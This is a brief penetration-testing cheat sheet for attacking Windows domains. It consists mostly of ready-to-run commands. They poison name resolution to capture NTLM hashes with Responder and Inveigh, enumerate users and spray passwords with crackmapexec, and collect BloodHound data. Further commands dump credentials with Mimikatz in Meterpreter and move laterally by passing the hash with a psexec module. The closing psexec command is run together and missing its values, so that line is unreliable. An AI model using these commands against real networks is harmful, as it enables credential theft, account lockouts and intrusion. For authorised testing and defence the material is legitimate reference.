A guide for Windows system enumeration and post-exploitation techniques.
Attacking Methods
Network
# Capture NTLM hashes with Responder
responder -I <interface> -P -r -v # -P: Poison, -r: answers requests, -v: verbose
# Capture NTLM hashes with Inveigh
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y -IP 172.16.7.50 -FileOutput Y
# or execute directly
Inveigh.exe
User
Requires one valid domain user:
# List domain users
crackmapexec smb <DC-IP> --users -u <username> -p <password>
# Extract usernames to file
cat users.txt | awk '{ print $5 }' | cut -d '\' -f2 > valid_users.txt
# Password spraying (use with caution - may lock accounts)
crackmapexec smb <DC-IP> -u valid_users.txt -p <password>
Active Directory
# BloodHound collection
bloodhound-python -u '<username>' -p '<password>' \
-ns <DC-IP> \
-d <domain> \
-c all \
--zip
Post-Exploitation
- Mimikatz:
# Elevate to SYSTEM
getsystem
# Load Mimikatz in Meterpreter
load kiwi
creds_all # Dump credentials
Lateral Movement:
With Administrator credentials, use
psexec
to move laterally: Hash Format Requirement:
- Correct format:
[LM hash]:[NT hash]
- Example:
00000000000000000000000000000000:actualNTLMhashhere
# Perform directly on Meterpreter use exploit/windows/smb/psexec set RHOST set SMBUser Administrator set SMBPass <hash_with_0s> set LHOST